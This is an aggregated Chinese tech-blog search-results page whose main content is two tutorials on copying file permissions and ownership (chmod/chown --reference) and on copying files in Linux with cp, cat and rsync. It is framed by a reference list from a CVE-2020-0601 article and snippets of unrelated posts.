    欢迎大家讨论,是否觉得这系列文章帮助到您!如果存在不足之处,还请海涵。任何建议都可以评论告知读者,共勉~

    2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

    (By:Eastmount 2021-02-17 深夜1点写于贵阳 http://blog.csdn.net/eastmount )


    参考文献:
    [1] https://github.com/ollypwn/CurveBall
    [2] https://github.com/kudelskisecurity/chainoffools
    [3] https://github.com/saleemrashid/badecparams
    [4] 绿盟博客:http://blog.nsfocus.net/cve-2020-0601-windows-cryptoapi欺骗漏洞分析/
    [5] FreeBuf博客:https://www.freebuf.com/vuls/225524.html
    [6] 奇安信博客:https://www.freebuf.com/column/225457.html
    [7] 奇安信博客:https://www.freebuf.com/vuls/225879.html
    [8] Evi1cg’s博客:https://evi1cg.me/archives/cve_2020_0601.html
    [9] CE653A博客:https://www.cnblogs.com/dgjnszf/p/12256824.html
    [10] 阿鲁卡博客:https://blog.csdn.net/weixin_43899764/article/details/104029814
    [11] https://www.bilibili.com/video/av84233595/?redirectFrom=h5
    [12] samsho2博客:https://blog.csdn.net/samsho2/article/details/104048261
    [13] 安全客分析:https://www.anquanke.com/post/id/197520
    [14] https://blog.csdn.net/Eastmount


    展开全文
  • 在本文中,我们将您展示如何分别使用chmod和chown命令将权限和所有权从一个文件复制到Linux中的另一个文件。将文件权限复制到另一个文件要将文件权限从一个文件复制到另一个文件,请在以下语法中使用带有--...

    假设你有两个文件,或者你刚刚创建了一个新文件,并希望它拥有旧文件的相同权限和所有权。

    在本文中,我们将向您展示如何分别使用chmod和chown命令将权限和所有权从一个文件复制到Linux中的另一个文件。

    将文件权限复制到另一个文件

    要将文件权限从一个文件复制到另一个文件,请在以下语法中使用带有--reference开关的chmod命令,其中reference_file是复制权限的文件,而不是文件的指定模式(即八进制或数字模式权限) 。$ chmod --reference=reference_file file

    例如,$ ls -l users.list

    $ ls -l keys.list

    $ sudo chmod --reference=users.list keys.list

    $ ls -l keys.list

    489471228fe889dd1acddd7243d0d713.png

    将文件权限复制到另一个文件

    将文件所有权复制到另一个文件

    同样,要从其他文件复制所有权,请使用带有--reference开关的chown命令 ,并使用以下语法,其中reference_file是将从其中复制所有者和组的文件,而不是指定owner:文件的组值。$ chown --reference=reference_file file

    例如,$ ls -l keys.list

    $ touch api.list

    $ ls -l keys.list

    $ sudo chown --reference=keys.list api.list

    $ ls -l api.list

    868bbd6349e8a1f34256c16c4dd28a54.png

    将文件所有权复制到另一个文件

    您也可以将文件权限和所有权从一个文件复制到多个文件,如图所示。$ sudo chmod --reference=users.list users1.list users2.list users3.list

    $ sudo chown --reference=users.list users1.list users2.list users3.list

    有关更多信息,请参阅chown和chmod手册页。$ man chown

    $ man chmod

    您还会发现这些有关文件权限的指南非常有用:

    就这样! 如果您知道任何其他方式在Linux中复制或克隆文件权限,请通过下面的反馈表与我们分享。

    展开全文
  • 在 Linux 中复制文档

    2021-05-08 21:58:20
    原标题:在 Linux 中复制文档 了解在 Linux 中多种复制文档的方式以及各自的优点。-- Seth Kenlon(作者)在办公室里复印...数字实体复制起来十分简单已是一个不争的事实,以致于大部分现代电脑用户从未考虑过其它的复...

    原标题:在 Linux 中复制文档

    18535611504a22c6724841691b300c08.png

    了解在 Linux 中多种复制文档的方式以及各自的优点。

    -- Seth Kenlon(作者)

    在办公室里复印文档过去需要专门的员工与机器。如今,复制是电脑用户无需多加思考的任务。在电脑里复制数据是如此微不足道的事,以致于你还没有意识到复制就发生了,例如当拖动文档到外部硬盘的时候。

    数字实体复制起来十分简单已是一个不争的事实,以致于大部分现代电脑用户从未考虑过其它的复制他们工作的方式。无论如何,在 Linux 中复制文档仍有几种不同的方式。每种方法取决于你的目的不同而都有其独到之处。

    以下是一系列在 Linux、BSD 及 Mac 上复制文件的方式。

    在 GUI 中复制

    如大多数操作系统一样,如果你想的话,你可以完全用 GUI 来管理文件。

    拖拽放下

    最浅显的复制文件的方式可能就是你以前在电脑中复制文件的方式:拖拽并放下。在大多数 Linux 桌面上,从一个本地文件夹拖拽放下到另一个本地文件夹是移动文件的默认方式,你可以通过在拖拽文件开始后按住 Ctrl 来改变这个行为。

    你的鼠标指针可能会有一个指示,例如一个加号以显示你在复制模式。

    4bf902478c90fd9858f7c36102b9b010.png

    复制一个文件

    注意如果文件是放在远程系统上的,不管它是一个 Web 服务器还是在你自己网络里用文件共享协议访问的另一台电脑,默认动作经常是复制而不是移动文件。

    右击

    如果你觉得在你的桌面拖拽文档不够精准或者有点笨拙,或者这么做会让你的手离开键盘太久,你可以经常使用右键菜单来复制文件。这取决于你所用的文件管理器,但通常来说,右键弹出的关联菜单会包括常见的操作。

    关联菜单的“复制”动作将你的 文件路径 (即文件在系统的位置)保存在你的剪切板中,这样你可以将你的文件粘贴到别处:(LCTT 译注:此处及下面的描述不确切,这里并非复制的文件路径的“字符串”,而是复制了代表文件实体的对象/指针)

    3f4251d6d4f377d6fd731778f2dfe112.png

    从右键菜单复制文件

    在这种情况下,你并没有将文件的内容复制到你的剪切版上。取而代之的是你复制了 文件路径 。当你粘贴时,你的文件管理器会查看剪贴板上的路径并执行复制命令,将相应路径上的文件粘贴到你准备复制到的路径。

    用命令行复制

    虽然 GUI 通常是相对熟悉的复制文件方式,用终端复制却更有效率。

    cp

    在终端上等同于在桌面上复制和粘贴文件的最显而易见的方式就是 cp 命令。这个命令可以复制文件和目录,也相对直接。它使用熟悉的来源和目的(必须以这样的顺序)句法,因此复制一个名为 example.txt 的文件到你的 Documents 目录就像这样:

    $ cp example.txt ~/Documents

    就像当你拖拽文件放在文件夹里一样,这个动作并不会将 Documents 替换为 example.txt。取而代之的是,cp 察觉到 Documents 是一个文件夹,就将 example.txt 的副本放进去。

    你同样可以便捷有效地重命名你复制的文档:

    $ cp example.txt ~/Documents/example_copy.txt

    重要的是,它使得你可以在与原文件相同的目录中生成一个副本:

    $ cp example.txt example.txt

    cp: 'example.txt' and 'example.txt' are the same file.

    $ cp example.txt example_copy.txt

    要复制一个目录,你必须使用 -r 选项(代表 --recursive,递归)。以这个选项对目录 nodes 运行 cp 命令,然后会作用到该目录下的所有文件。没有 -r 选项,cp 不会将目录当成一个可复制的对象:

    $ cp notes/ notes-backup

    cp: -r not specified; omitting directory 'notes/'

    $ cp -r notes/ notes-backup

    cat

    cat 命令是最易被误解的命令,但这只是因为它表现了 POSIX 系统的极致灵活性。在 cat 可以做到的所有事情中(包括其原意的连接文件的用途),它也能复制。例如说使用 cat 你可以仅用一个命令就 从一个文件创建两个副本 。你用 cp 无法做到这一点。

    使用 cat 复制文档要注意的是系统解释该行为的方式。当你使用 cp 复制文件时,该文件的属性跟着文件一起被复制,这意味着副本的权限和原件一样。

    $ ls -l -G -g

    -rw-r--r--. 1 57368 Jul 25 23:57 foo.jpg

    $ cp foo.jpg bar.jpg

    -rw-r--r--. 1 57368 Jul 29 13:37 bar.jpg

    -rw-r--r--. 1 57368 Jul 25 23:57 foo.jpg

    然而用 cat 将一个文件的内容读取至另一个文件是让系统创建了一个新文件。这些新文件取决于你的默认 umask 设置。要了解 umask 更多的知识,请阅读 Alex Juarez 讲述 umask 以及权限概览的文章。

    运行 unmask 获取当前设置:

    $ umask

    0002

    这个设置代表在该处新创建的文档被给予 664(rw-rw-r--)权限,因为该 unmask 设置的前几位数字没有遮掩任何权限(而且执行位不是文件创建的默认位),并且写入权限被最终位所屏蔽。

    当你使用 cat 复制时,实际上你并没有真正复制文件。你使用 cat 读取文件内容并将输出重定向到了一个新文件:

    $ cat foo.jpg > baz.jpg

    $ ls -l -G -g

    -rw-r--r--. 1 57368 Jul 29 13:37 bar.jpg

    -rw-rw-r--. 1 57368 Jul 29 13:42 baz.jpg

    -rw-r--r--. 1 57368 Jul 25 23:57 foo.jpg

    如你所见,cat 应用系统默认的 umask 设置创建了一个全新的文件。

    最后,当你只是想复制一个文件时,这些手段无关紧要。但如果你想复制文件并保持默认权限时,你可以用一个命令 cat 完成一切。

    rsync

    有着著名的同步源和目的文件的能力,rsync 命令是一个复制文件的多才多艺的工具。最为简单的,rsync 可以类似于 cp 命令一样使用。

    $ rsync example.txt example_copy.txt

    $ ls

    example.txt example_copy.txt

    这个命令真正的威力藏在其能够不做不必要的复制的能力里。如果你使用 rsync 来将文件复制进目录里,且其已经存在在该目录里,那么 rsync 不会做复制操作。在本地这个差别不是很大,但如果你将海量数据复制到远程服务器,这个特性的意义就完全不一样了。

    甚至在本地中,真正不一样的地方在于它可以分辨具有相同名字但拥有不同数据的文件。如果你曾发现你面对着同一个目录的两个相同副本时,rsync 可以将它们同步至一个包含每一个最新修改的目录。这种配置在尚未发现版本控制威力的业界十分常见,同时也作为需要从一个可信来源复制的备份方案。

    你可以通过创建两个文件夹有意识地模拟这种情况,一个叫做 example 另一个叫做 example_dupe:

    $ mkdir example example_dupe

    在第一个文件夹里创建文件:

    $ echo "one" > example/foo.txt

    用 rsync 同步两个目录。这种做法最常见的选项是 -a(代表 “archive”,可以保证符号链接和其它特殊文件保留下来)和 -v(代表 “verbose”,向你提供当前命令的进度反馈):

    $ rsync -av example/ example_dupe/

    两个目录现在包含同样的信息:

    $ cat example/foo.txt

    one

    $ cat example_dupe/foo.txt

    one

    如果你当作源分支的文件发生改变,目的文件也会随之跟新:

    $ echo "two" >> example/foo.txt

    $ rsync -av example/ example_dupe/

    $ cat example_dupe/foo.txt

    one

    two

    注意 rsync 命令是用来复制数据的,而不是充当版本管理系统的。例如假设有一个目的文件比源文件多了改变,那个文件仍将被覆盖,因为 rsync 比较文件的分歧并假设目的文件总是应该镜像为源文件:

    $ echo "You will never see this note again" > example_dupe/foo.txt

    $ rsync -av example/ example_dupe/

    $ cat example_dupe/foo.txt

    one

    two

    如果没有改变,那么就不会有复制动作发生。

    rsync 命令有许多 cp 没有的选项,例如设置目标权限、排除文件、删除没有在两个目录中出现的过时文件,以及更多。可以使用 rsync 作为 cp 的强力替代或者有效补充。

    许多复制的方式

    在 POSIX 系统中有许多能够达成同样目的的方式,因此开源的灵活性名副其实。我忘了哪个复制数据的有效方式吗?在评论区分享你的复制神技。

    展开全文
  • MySQL主从复制详解

    2021-01-20 03:31:38
    主从复制也是我们学习MySQL过程中必不可少的一部分,关于主从复制的文章有很多,笔者也来凑凑热闹,写写这方面的内容吧,同时分享自己的经验和方法。1.主从复制简介及原理主从复制(也称 AB 复制)是指一台服务器...
  • 央行数字货币——DCEP的那些事儿

    千次阅读 2021-01-04 21:41:33
    首先想先总结入职这8个月,对于产品经理工作的一个小小的总结。 互联网给产品经理的定义有很多,每个互联网人给予产品经理的标签也都花样百出。例如“不懂技术”,“因为互联网红利产生的职业”,“写写需求画画...
  • 我们将会从3个方面来进行分享:首先我们回顾下数字化转型,然后我们以制造、能源、金融、政务四个典型行业为背景,来给大家讲讲数字化转型的项目应用,最后给大家分享亿信华辰在数字化转型能力。 一、数字化转型...
  • 1.mysql支持的复制格式 基于语句复制(STATEMENT) (优点)基于statement复制的优点很明显,简单的记录执行语句同步到从库执行同样的语句,占用磁盘空间小,网络传输快,并且通过mysqlbinlog工具容易读懂其中的内容 ...
  • C语言实现将字符和数字串到一起C 语言 是相对比较低级的一种语言,所有的数据都是按照 整数、浮点数、数组、指针 一类的数据结构来表示的。相比之,较高级的语言中 数据类型之间的转换就更自由一些。毕竟,不同的...
  • 前言2月16号HarmonyOS2.0手机开发者Beta版已经发布了,作为“1+8+N”战略的重要入口和...大佬别喷),此前已经在运动手表上成功开发了:HarmonyOS运动手表游戏合并、HarmonyOS手表游戏——数字华容道,同样是深鸿会深...
  • MySQL中主从复制是什么发布时间:2020-08-17 16:43:48来源:亿速云阅读:85作者:小新这篇文章主要介绍了MySQL中主从复制是什么,具有一定借鉴价值,需要的朋友可以参考。希望大家阅读完这篇文章后大有收获。下面...
  • 编辑器 - 如何从(并复制到)系统剪贴板进行vim粘贴?与其他编辑器不同,vim商店将文本复制到自己的剪贴板中。 因此,我很难从网页复制一些文本并将其粘贴到当前的工作文件中。 碰巧我必须打开gedit或手动输入。我可以...
  • 很多刚进入币圈的小白用户,除了要理解区块链工作原理、数字货币的由来以及价值之外,还要面对很多看起来非常专业的名词,这些名词名字奇怪,读起来绕口,写起了繁琐,把很多对数字货币具有切肤之爱的小伙伴拒之门外...
  • 品读《计算机网络 自顶向下方法》

    千次阅读 2021-12-03 16:06:03
    本人浅读《计算机网络 自顶向下方法》,品读经典,大有裨益,梳理前六章,与君分享,才疏学浅,欢迎指正和补充,不胜感激。 在本书中,我们使用一种特定的计算机网络,即公共因特网,作为讨论计算机网络及其协议的...
  • vim的复制粘贴小结

    2021-01-14 13:48:33
    正在学习使用vim,前一阵想学linux,然后突然发现vim是个好东西,学习使用,今天发现,无法使用ctrl+c/ctrl+v来跟系统其它应用之间做复制粘贴,非常不爽,搜了一下,发现很多人有写这个问题,试了几个,觉得这个最好...
  • 基于Matlab 的数字图像水印技术

    千次阅读 2021-08-25 12:01:22
    基于Matlab 的数字图像水印技术摘要:数字水印技术涉及到许多图像处理算法以及数学计算工具等,如果用普通编程工具实现上述算法,需要要花费大量的时间,MathWorks公司推出的一种简单、高效、功能极强的高级语言——...
  • 作者:德勤洞察来源:《软件与集成电路》2020年第5期 试想一下,你拥有一个现实世界的完美数字副本:数字孪生。它可以帮助你开展虚拟协作,快速获取传感器数据并模拟条件,清楚地了解假设...
  • 数字图像处理总结

    2021-01-07 10:21:03
    数字图像处理重点总结 入门篇 图像处理综述: 图像增强:为了某种目的而处理图像,是处理后的图像比原始数据更易于处理。该过程比较主观,所以没有通用的理论来处理此过程。 图像复原:倾向于用以某种图像退化的...
  • 目录本章目标3.1介绍3.1.1关键的网络层功能3.1.2数据平面与控制平面3.1.3网络服务模型3.2虚电路和数字报网络3.2.1网络层连接和无连接服务3.2.2虚电路Virtual circuits3.2.3数据报网络Datagram networks3.2.4数据报VS...
  • 理论上来说,使用随机码扩展频谱是最理想的,但接收方也需要同样的随机序列副本,理想的随机序列是不可复制的。因此在工程中多用PN码,即伪随机序列解决这一问题,本文使用的是m序列。   m序列是一种线性反馈序列...
  • 数字化转型的趋势、挑战与战略

    千次阅读 2021-01-05 21:14:16
    数字化转型需要结合企业自身案例的痛点进行细分,逐步用技术手段替代人工的操作。 在全球经济进入数字化转型时期,数字化转型已成为传统企业必须付诸行动的必选题。企业为什么要进行数字化转型?如何把握数字...
  • 跨集群复制(CCR)

    2021-01-08 22:18:51
    同样的ccr工程团队也是优先考虑回放translog,但是很快意识到lucene的translog不能实现快速高效的复制,尝试在translog上增加新的data structures把数据更新动作记录下来,但是lucene是关键的组件涉及复杂的修改,会...
  • 在信息社会中,数字图像处理科学在理论或实践上都存在着巨大的潜力。 数字图像处理是一种通过计算机采用一定的算法对图形图像进行处理的技术。数字图像处理技术已经在各个领域上都有了比较广泛的应用。图像处理的...
  • 数字生命

    2021-06-28 09:47:38
    中文学名数字生命遵循规律遗传、进化兴起时间20世纪80年代适用范围人类生殖、遗传、进化数字生命简介编辑语音数字生命概述数字生命遵循着遗传和进化的规律,从而为深入考察生物的进化现象和复杂生命系统的研究提供了...
  • 数字图像处理

    2021-01-04 15:06:13
    filename为图像文件名,可以是灰度图像,也可以是彩色图像,如果文件不在当前目录或不在Matlab目录,则需要列全文件路径。fmt为文件的扩展名,指定文件类型。A为图像数据矩阵。 (2)imshow函数 功能:显示图像。 ...
  • 什么是数字化转型?

    2021-04-06 11:23:15
    随着5G建设的铺开,“数字化转型”这个词仿佛也一并站在了镁光灯,各种展会,论坛上也都讨论地热火朝天。 仿佛某个企业不搞搞5G应用,不大谈特谈“数字化转型”的话,就是灰头土脸的泥腿子,这个数字化时代注定要...
  • 通过对数字水印的原理和算法的分析,了解信息隐藏的实现手段与效果。在信息加载和提取过程中,突破传统的加密技术,用更具专业性的检测手段来保护专属的信息产权。本文利用了水印良好的鲁棒性和不可感知性,致力于对...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 105,799
精华内容 42,319
关键字:

同样数字如何向下复制